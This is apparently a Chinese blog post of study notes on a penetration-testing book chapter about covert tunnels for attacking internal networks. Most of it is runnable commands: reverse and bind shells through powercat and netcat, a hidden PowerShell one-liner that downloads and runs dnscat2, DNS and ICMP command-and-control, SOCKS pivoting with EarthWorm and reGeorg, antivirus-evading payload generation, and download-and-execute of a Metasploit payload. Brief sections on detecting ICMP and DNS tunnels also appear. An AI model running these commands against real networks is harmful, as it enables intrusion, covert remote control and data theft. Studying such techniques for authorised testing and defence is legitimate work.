内网安全攻防:渗透测试指南——第3章 隐藏通信隧道技术

第三章——隐藏通信隧道技术

 

目录

 

1.网络层隧道

1.pingtunnel

1.在web边界服务器上下载并运行ptunnel

2.在vps上运行ptunnel

3.在win7电脑上远程连接vps的1080端口

2.icmpsh

3.防御ICMP隧道攻击的方法

2.传输层隧道

1.lcx端口转发

2. nc

3.powercat

1.nc正向连接powercat

2.nc反向连接powercat

3.通过powercat返回powershell

4.Powercat文件传输

5.powercat生成Payload(躲避杀软)

6.Powercat - DNS协议(DNSCAT)

7.Powercat作为跳板

3.应用层协议

1.本地转发

2.远程转发(无边界设备,服务器kali连通外网)

3.动态转发

HTTP/HTTPS协议

DNS协议

dnscat2

1.启动服务端

2.在目标系统运行客户端

3.脚本加载运行dnscat2-powershell

4.反弹shell

iodine

1.vps服务端

2.linux客户端

3.windows客户端

DNS隧道攻击的防御

SOCKS代理

 

1. EarthWorm

1.正向SOCKS5服务器

2.反弹SOCKS v5服务器

3.二级网络环境a

4.二级网络环境b

压缩

1.RAR

7zip

上传和下载

1.利用FTP协议上传

2.利用VBS上传

3.利用nishang上传

4.bitadmin下载

5.powershell下载


 

1.网络层隧道

 

1.pingtunnel

1.在web边界服务器上下载并运行ptunnel

  1.  
    http://freshmeat.sourceforge.net/projects/ptunnel
  2.  
    ptunnel -x pass
  3.  
     
  4.  
    -×指定icmp隧道连接验证密码
  5.  
    -lp指定要监听的本地tcp端口
  6.  
    -da指定要转发到的机器的ip地址
  7.  
    -dp指定要转发到的机器的tcp端口
  8.  
    -p指定icmp隧道另一端机器的ip地址

 

2.在vps上运行ptunnel

ptunnel -p 192.168.0.8 -lp 1080 -da 1.1.1.10 -dp 3389 -x pass

 

3.在win7电脑上远程连接vps的1080端口

 

 

2.icmpsh

vps

  1.  
    git clone https://github.com/inquisb/icmpsh.git
  2.  
    sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭系统Ping命令应答,使用完后改为0
  3.  
    cd icmpsh
  4.  
    pip install impacket
  5.  
    ./icmpsh_m.py 192.168.0.11 192.168.0.8 #192.168.0.11为本机攻击ip地址,192.168.0.8是目标的公网ip地址
  6.  
    #可以使用ping vpsip地址,tcpdump icmp来获取目标机器的公网ip

目标机器

icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128

 

3.防御ICMP隧道攻击的方法

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而是要ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意那些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包
  • 检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP Payload前面添加“TUNL"标记来标识隧道

 

2.传输层隧道

 

1.lcx端口转发

  1.  
    A.内网端口转发
  2.  
    目标机器:lcx.exe -slave公网主机ip 4444 127.0.0.1 3389
  3.  
    VPS: lcx.exe -listen 4444 5555
  4.  
     
  5.  
    B.本地端口映射
  6.  
    lcx -tran 53目标主机ip 3389

 

2. nc

  1.  
    A.安装LINUX:
  2.  
    sudo yum install nc.x86_64
  3.  
    wget http://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz/download -O netcat-0.7.1.tar.gz
  4.  
     
  5.  
    WINDOwsS:
  6.  
    Nc:https://joncraton.org/files/nc111nt.zip
  7.  
    Nc_safe:https://joncraton.org/files/nc111nt_safe.zip

 

3.powercat

kali 192.168.0.11
win10 1.1.1.14     192.168.0.14
win2012 1.1.1.8

1.nc正向连接powercat

  1.  
    ┌──(kali㉿kali)-[~]
  2.  
    └─$ nc 192.168.0.14 8080 -vv
  3.  
     
  4.  
     
  5.  
    win10
  6.  
    PS C:\> Import-Module .\powercat.ps1
  7.  
    PS C:\> powercat -l -p 8080 -e cmd.exe -v

 

2.nc反向连接powercat

  1.  
    ┌──(kali㉿kali)-[~]
  2.  
    └─$ nc -lp 8080 -vv
  3.  
     
  4.  
    windows10:
  5.  
    PS C:\> powercat -c 192.168.0.11 -p 8080 -v -e cmd.exe

 

3.通过powercat返回powershell

  1.  
    Windows2012:
  2.  
    PS C:\> IEX (NEW-Object Net.WebClient).DownloadString('http://1.1.1.6/powercat.ps1')
  3.  
    PS C:\> powercat -l -p 9999 -v
  4.  
     
  5.  
     
  6.  
     
  7.  
    windows10:
  8.  
    PS C:\> powercat -c 1.1.1.8 -p 9999 -v -ep

 

 

4.Powercat文件传输

  1.  
    Windows10下执行:
  2.  
    powercat -l -p 8080 -of C:\Users\Public\Downloads\test.txt
  3.  
     
  4.  
    Windows Server 2012:
  5.  
    PS C:\> powercat -c 1.1.1.14 -p 8080 -i c:\test.txt -v

 

5.powercat生成Payload(躲避杀软)

  1.  
    Windows10下执行:
  2.  
    powercat -l -p 8080 -e cmd -v -g >> shell.ps1
  3.  
     
  4.  
    将生成的shell.ps1拿到Windows server 10
  5.  
    ./shell.ps1
  6.  
    PS:也可以使用-ge生成编码后的脚本,然后直接使用Powershell -E shellcode执行。

 

6.Powercat - DNS协议(DNSCAT)

  1.  
    Kali下执行:
  2.  
    ┌──(kali㉿kali)-[~]
  3.  
    └─$ cd /home/kali/Downloads/dnscat2/server
  4.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  5.  
    └─# proxychains gem install bundler
  6.  
    ┌──(kali㉿kali)-[~/Downloads/dnscat2/server]
  7.  
    └─$ bundle install
  8.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  9.  
    └─# ruby dnscat2.rb lab.test -e open --no-cache
  10.  
    dnscat2> session -i 1
  11.  
     
  12.  
     
  13.  
    Windows 10下执行:
  14.  
    powercat -c 192.168.0.11 -p 53 -dns lab.test -e cmd.exe

 

7.Powercat作为跳板

  1.  
    Windows Server 2012:
  2.  
    PS C:\> powercat -l -v -p 9999 -e cmd.exe
  3.  
    Windows 10:
  4.  
    powercat -l -v -p 8000 -r tcp:1.1.1.8:9999
  5.  
    Kali下执行:
  6.  
    nc 192.168.0.14 8000 -vv
  7.  
     

 

  1.  
    场景七: Powercat转发(DNS)
  2.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  3.  
    └─# ruby dnscat2.rb lab.test -e open --no-cache
  4.  
     
  5.  
    Windows 10:
  6.  
    PS C:\> powercat -l -p 8080 -r dns:192.168.0.11::lab.test
  7.  
     
  8.  
    Windows Server 2012:
  9.  
    PS C:\> powercat -c 1.1.1.14 -p 8080 -e cmd.exe -v

 

3.应用层协议

 

SSH协议

  1.  
    ssh root@192.168.0.8
  2.  
    -C 压缩传输,提高传输速度
  3.  
    -f 将SSH传输转入后台运行,不占用当前的shell
  4.  
    -N 建立静默连接(建立了连接,但看不到具体会话)
  5.  
    -g 允许远程主机连接本地用于转发的端口
  6.  
    -L 本地端口转发
  7.  
    -R 远程端口转发
  8.  
    -D 动态转发(SOCKS代理)
  9.  
    -P 指定SSH端口

 

1.本地转发

以web服务器为跳板,将内网数据库服务器1.1.1.10的3389端口映射到VPS192.168.0.11的1153端口,再次访问vps1153端口,就能访问数据库服务器的3389端口

  1.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  2.  
    └─# ssh -CfNg -L 1153:1.1.1.10:3389 kali@192.168.0.8 130 ⨯
  3.  
    kali@192.168.0.8's password:
  4.  
     
  5.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  6.  
    └─# netstat -tulnp | grep "1153"
  7.  
    tcp 0 0 0.0.0.0:1153 0.0.0.0:* LISTEN 5762/ssh
  8.  
    tcp6 0 0 :::1153 :::* LISTEN 5762/ssh
  9.  
     
  10.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  11.  
    └─# rdesktop 127.0.0.1:1153

 

2.远程转发(无边界设备,服务器kali连通外网)

以web服务器为跳板,将vps的3307端口流量转发到1.1.1.10的3389端口,然后访问vps的3307端口,就可以访问2008的3389端口

  1.  
    在web服务器1.1.1.5上执行
  2.  
    ssh -CfNg -R 3307:1.1.1.10:3389 kali@192.168.0.11
  3.  
    rdesktop 127.0.0.1:3307

 

3.动态转发

  1.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  2.  
    └─# ssh -CfNg -D 7000 kali@192.168.0.8 255 ⨯
  3.  
    kali@192.168.0.8's password:
  4.  
     
  5.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  6.  
    └─# netstat -tulnp | grep "7000"
  7.  
     

 

 

HTTP/HTTPS协议

  1.  
    将tnnel.jsp上传至目标服务器192.168.0.8
  2.  
    python reGeorgSocksProxy.py -u http://192.168.0.8/tunnel.jsp -p 9999
  3.  
     
  4.  
    浏览器访问127.0.0.1:9999端口

 

 

DNS协议

 

dnscat2

使用dsan2隧道的模式有两种,分别是直连模式和中继模式。

  • 直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求,
  • 中继模式: DNS经过互联网的送代解析,指向指定的DNS服务器。与直连模式相比,中dnscan2 通过DNS进行控制并执行命令。

与同类工具相比,drsa2具有如下特点

  • 支持多个会话
  • 流量加密
  • 使用密钥防止MiTM攻击
  • 在内存中直接执行PowerShell脚本
  • 隐蔽通信

 

安装dnscat2

  1.  
    apt-get install gem
  2.  
    apt-get install ruby-dev
  3.  
    apt-get install libpq-dev
  4.  
    apt-get install ruby-bundler
  5.  
     
  6.  
    apt-get install git
  7.  
    git clone https://github.com/iagox86/dnscat2.git
  8.  
    cd dnscat2/server
  9.  
    bundle init
  10.  
    bundle install
  11.  
     
  12.  
     
  13.  
    tucpdump -n -i ens4 udp dst port 53
  14.  
    nslookup nameserver

1.启动服务端

  1.  
    ┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
  2.  
    └─# ruby dnscat2.rb lab.test -e open -c sec --no-cache
  3.  
     
  4.  
    ruby dnscat2.rb --dns server=127.0.0.1,port=533,type=TXT --secret=sec #直连模式
  5.  
     
  6.  
    -c 定义了‘pre-shared secret',可以使用具有预共享密钥的身份验证机制来防止中间人攻击
  7.  
    -e 规定安全级别,‘open’表述服务端允许客户端不进行加密
  8.  
    --no-cache 禁止缓存,服务器运行时须添加该项。因为powershell-dnscat2客户端与dnscat2服务器的 Caching模式不兼容

 

2.在目标系统运行客户端

  1.  
    linux:
  2.  
    git clone https://github.com/iagox86/dnscat2
  3.  
    cd dnscat2/client/
  4.  
    make
  5.  
     
  6.  
     
  7.  
     
  8.  
    windows:
  9.  
    dnscat2-v0.07-client-win32.exe --ping lab.test #测试是否能够通信
  10.  
    dnscat2-v0.07-client-win32.exe --dns domain=lab.test --secret=sec #连接服务端
  11.  
     
  12.  
    dnscat --dns server=服务端ip,port=533,type=TEXT --secret=sec #直连模式

 

3.脚本加载运行dnscat2-powershell

  1.  
    PS C:\> Set-ExecutionPolicy unrestricted
  2.  
    PS C:\> Import-Module .\dnscat2.ps1
  3.  
    PS C:\> start-Dnscat2 -Domain lab.test --DNSServer 1.1.1.8
  4.  
     
  5.  
    或者一句话执行
  6.  
    powershell.exe -nop -w hidden -c {IEX(New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain [domain] --DNSServer x.x.x.x}
  7.  
    exec psh

 

4.反弹shell

  1.  
    sessions 查看会话
  2.  
    session -i 1 进入1会话
  3.  
    shell 打开另一个会话,进入交互模式
  4.  
    help 查看帮助
  5.  
    download 下载
  6.  
    ping
  7.  
    suspend 返回上一层
  8.  
    upload
  9.  
    shutdown 切断但钱会话
  10.  
    quit 退出dnscat2控制台
  11.  
    kill 切断通道

 

 

iodine

iodine可以通过一台DNS服务器制造一个IPv4 数据通道,特别适合在目标主机只能发送DNS 请求的网络环境中使用。iodine是基于C语言开发的,分为服务端程序 iodined和客户端程序 iodine。Kali Linux内置了iodine

与同类工具相比,iodine具有如下特点

  • 不会对下行数据进行编码。
  • 支持多平台,包括 Linux、BSD、Mac OS、 Windowso·支持16个并发连接。
  • 支持强制密码机制。
  • 支持同网段隧道P地址(不同于服务器一客户端网段)。
  • 支持多种 DNS记录类型
  • 提供了丰富的隧道质量检测措施。

iodine支持直接转发和中继两种模式,其原理是:通过 TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP 建立一个虚拟网卡;两者通过 DNS 隧道连接,处于同—个局域网(可以通过ping命令通信)。在客尸漏和服务端之间建立连接后,客户机上会多出一块名为“dns0”的虚拟网卡

1.vps服务端

  1.  
    iodined -c -f -P 123456 192.168.0.1 servername -DD
  2.  
    -f 前台运行
  3.  
    -c 禁止检查所有传入请求客户端IP地址
  4.  
    -P 设置验证密码
  5.  
    -D 指定调试等级检查配置是否正确
  6.  
    https://code.kryo.se/iodine/check-it/检查iodine

 

linux客户端

  1.  
    ┌──(root💀kali)-[/home/kali]
  2.  
    └─# iodine -f -P 123456 vpn.adccm.xyz -M 200

 

windows客户端

  1.  
    需要先安装openvpn添加一块网卡
  2.  
    iodine -f -P 123456 servername

 

DNS隧道攻击的防御

防御隧道攻击并非易事,特别是防御DNS隧道攻击。通过如下操作,能够防御常见的隧道攻击行为。

  • 禁止网络中的任何人向外部服务器发送DNS请求,只允许与受信任的DNS服务器通信
  • 虽然没有人会将 IXT解析请求发送给DNS服务器,但是dnscat2和邮件服务器网关会这样做。因此,可以将邮件服务器/网关列入白名单并阻传人和传出流量中的TXT请求。
  • 跟踪用户的 DNS查询次数。如果达到阅值,就生成相应的报告
  • 阻止ICMP

 

 

 

SOCKS代理


常见的网络场景有如下三类

  1. 服务器在内网中,可以任意访问外部网络。
  2. 服务 器在内网中,可以访向外部网络,但服务器安装了防火墙拒绝敏感端口的连接。
  3. 服务器在内网中,对外只开放了部分端口(例如80端口),且服务器不能访问外部网络。


常用SOCKS代理工具
SOCKS是一一种代理服务,可以简单地将一端的系统连接另端。SOCKS支持多种协议包括HTTP、FTP等。SOCKS分为SOCKS4和SOCKS 5两种类型,SOCK4只支持TCP协议,SOCKS 5不仅支持TCP/UDP协议,还支持各种身份验证机制等,其标准端口义只支持1080。SOCKS能够与目标内网计算机进行通信,避免多次使用端口转发。SOCKS代理其实可理解为增强版的lcx。它在服务端监听-个服 务端口,当有新的连接请求

出现时,会先从SOCKS协议中解析出目标的URL和目标端口,再执行lex的具体功能。

 

1. EarthWorm


EarthWorm(EW )是一套便携式的网络工具,具有SOCKSs服务架设和端口转发两大核心功能,可以在复杂的网络环境中实现网络穿透。EW能够以正向、反向、多级级联等方式建立网络隧道。EW工具包提供了多个可执行文件,以适用不同的操作系统( Linux、Windows、 Mac OS、ARM-Linux 均包含在内)。6种命令格式(ssocksd、 rcsocks. rssocks. Icx_ slave、 Icx_ listen、 Icx_ tran)

 

1.正向SOCKS5服务器

  1.  
    ┌──(root💀kali)-[/var/www/html/release]
  2.  
    └─# ./ew_linux_x64 -s ssocksd -l 1090 #适用于一个有外网IP的情况,此处使用边界服务器

 

2.反弹SOCKS v5服务器
 

  1.  
    vps: C:\>ew_win32.exe -s rcsocks -l 1008 -e 888
  2.  
    内网机器: ew -s rssocks -d vpsip -e 888

 

3.二级网络环境a

  1.  
    内网中的机器B: ew -s ssocksd -l 888
  2.  
    边界服务器A: ew -s lcx_tran -l 1080 -f A主机公网ip -g 888 #将1080端口收到的代理请求转发给内网中的机器B888端口

 

4.二级网络环境b

  1.  
    A主机无公网ip,也无法访问内网。B主机可以访问内网,无法访问外网
  2.  
     
  3.  
    VPS: ew -s lcx_listen -l 1080 -e 888 #在公网vps中添加转接隧道,将1080端口接收到的请求转发给888端口
  4.  
     
  5.  
    主机B: ew -s ssocked -l 999 #ssocked方式启动999端口的socks代理
  6.  
     
  7.  
    主机A: ew -s lcx_slave -d vpsip -e 888 -f A主机IP -g 999 #在A主机上利用lcx_slave方式,将vps的888端口和B主机的999端口连接起来

 


2.reGeorg
rcGcorg 是reDuh的升级版,主要功能是把内网服务器的端口通过HTPHITS隧道转发到本机,形成一个回路。reCorg 可以使目标服务器在内网中(或者在设置了端口策略的情况下)连接内部开放端口。rcGcorg 利用WstSll建立一个SOCKS代理进行内网穿透,服务必须支持ASPX、PHP、JSP中的一种。

3. sSocks
sSocks是个SOCKS代理工具套装,可用来开启soCKs代理服务。sokes支持SOCKS5验证,支持IPv6和UDP,并提供反向soCKS代理服务(将远程计算机作为SOCKS代理服务端反弹到本地)。

4. SocksCap64
SocksCap64是一款在 Windows环境中相当好用的全局代理软件,SocksCap64可以使Windows应用程序通过SOCKS 代理服务器来访问网络,而不需要对这些应用SOKS 代理的应用程序,也可以通过SoksCap64程序进行任何修改。即使是那些本身不支持实现代理访问

5. Proxifier
Provifer也是一软非常好用的全局代理软件,Posifir 提供了跨平台的转发和代理功能,适用于Windows、Linux、 MacOS平台
6. ProxyChains
ProxyChains是一款可以在Linux下实现全局代理的软件,性能稳定、可靠,可以使任何程序通过代理上网,允许TCP和DNS流量通过代理隧道,支持HTTP、SOCKS 4、SOCKS 5类型的代理服务器

 

 

压缩

1.RAR

  1.  
    -a: 添加要压缩的文件
  2.  
    -k: 锁定压缩文件
  3.  
    -s: 生成存档文件(这样可以提高压缩比)。
  4.  
    -P: 指定压缩密码。
  5.  
    -r: 递归压缩,包括子目录。
  6.  
    -x: 指定要排除的文件。
  7.  
    -v: 分卷打包,在打包大文件时用处很大。
  8.  
    -ep: 从名称中排除路径。
  9.  
    -epl: 从名称中排除基本目录。
  10.  
    -m0: 存储,添加到压缩文件时不压缩文件。
  11.  
    -ml: 最快,使用最快压缩方式(低压缩比)。
  12.  
    -m2: 较快,使用快速压缩方式。
  13.  
    -m3: 标准,使用标准压缩方式(默认)。
  14.  
    -m: 较好,使用较强压缩方式(速度较慢)。
  15.  
    -m5: 最好,使用最强压缩方式(最好的压缩方式,但速度最慢)。

1.以RAR格式压缩/解压

将E:\webs\ 目录下的所有内容(包括子目录)打包为1.rar,放到E:\webs\目录

  1.  
    Rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs
  2.  
    Rar.exe e E:\webs\1.rar
  3.  
    e:解压到当前目录下
  4.  
    x:以绝对路径解压
  5.  
    zip同理

 

2.分卷压缩/解压

  1.  
    Rar.exe a -m0 -r -v20m E:\test.rar E:\API
  2.  
    分卷压缩E盘API目录下的所有文件及文件夹(-r使用递归压缩)设置每个分卷为20MB,结构为test.part1.rar...
  3.  
     
  4.  
     
  5.  
    Rar.exe x E:\test.part01.rar E:\test #解压

 

7zip
 

  1.  
    -r 递归压缩
  2.  
    -o 指定输出目录
  3.  
    -p 指定密码
  4.  
    -v 分卷压缩
  5.  
    a 添加压缩文件

 

1.普通压缩/解压方式

  1.  
    7z.exe a -r -p12345 E:\webs\1.7z E:\webs #压缩
  2.  
    7z.exe x -p12345 E:\webs\1.7z -oE:\X

 

2.分卷压缩

  1.  
    7z.exe -r -vlm -padmin a E:\test.7z E:\API
  2.  
    7z.exe x -padmin E:\test.7z.001 -oE:\x

 

 

上传和下载

 

1.利用FTP协议上传

  1.  
    本地或者vps搭建ftp服务器
  2.  
     
  3.  
    常用的FTP命令列举如下,
  4.  
    open<服务器地址>:连接服务器
  5.  
     
  6.  
    cd<目录名>:进入指定目录。
  7.  
    lcd<文件夹路径>:定位本地文件夹(上传文件的位置或者下载文件的本地位置)。
  8.  
    type:查看当前的传输方式(默认为ASCII码传输)。
  9.  
    ascil:设置传输方式为ASCII码传输(传输TXT等格式的文件)。
  10.  
    binary:设置传输方式为二进制传输(传输EXE文件,以及图片、视音频文件等)。
  11.  
    close:结束与服务器的FTP会话。
  12.  
    quit:结束与服务器的FTP会话并退出FTP环境。
  13.  
    put<文件名> [newnamel:上传。"newname"为保存时的新名字,若不指定将以原名保存。
  14.  
    send<文件名> [newname]:上传。"newname为保存时的新名字.若不指定将以原名保存。
  15.  
    get<文件名> [newname]:下载。newname为保存时的新名字,若不指定将以原名保存。
  16.  
    mget filename filename..]:.下载多个文件。mget 命令支持空格和“?”两个通配符,例如“mget.mp3”表示下载FTP服务器当前目录下所有扩展名为“mp3”的文件

 

2.利用VBS上传

  1.  
    echo Set Post = CreateObject("Msxml2.XMLHTTP") >>download.vbs
  2.  
    echo Set Shell = CreateObject("Wscript.Shell") >>download.vbs
  3.  
    echo Post.Open "GET","ip/文件",0 >>download.vbs
  4.  
    echo Post.Send() >>download.vbs
  5.  
    echo Set aGet = CreateObject("ADODB.Stream") >>download.vbs
  6.  
    echo aGet.Mode = 3 >>download.vbs
  7.  
    echo aGet.Type = 1 >>download.vbs
  8.  
    echo aGet.Open() >>download.vbs
  9.  
    echo aGet.Write(Post.responseBody) >>download.vbs
  10.  
    echo aGet.SaveToFile " 下载到的位置",2 >>download.vbs
  11.  
     
  12.  
    最后
  13.  
    Cscript download.vbs

 

3.利用nishang上传

Download Excule是Nishang中的下载执行脚本,常用于下载文本文件并将其转换为EXE文件。使用Nishang上传文件的原理是:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download Exccute脚本下载文本文件并将其转换为EXE文件。
在这里,需要使用echo命令将Nishang PowersShell脚本的内容上传到目标服务器中,并将执行以下命令,利用Nishang中的exetolext.psl脚本将由Metasploit生成的msf.exe修改为文本文件msf.txt

.\ ExetoText c: msf.exe c: msf.txt


接着,通过echo命令,先将转换的HEX值添加到目标文件中,再将Nishang脚本文件的内容添加到目标文件中。最,输人如下命令,调用Dowlad Excule脚本下载并执行该文本文件。
 

Download_Execute http://192.168.0.11/msf.txt

 

4.bitadmin下载

bitsadmin /transfer 111 ip/file 下载到的路径    #win7以上版本

 

5.powershell下载

powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('ip/文件','下载文件路径');

 

 

 

 

 
posted @ 2022-03-06 22:23  bonelee  阅读(1186)  评论(0编辑  收藏  举报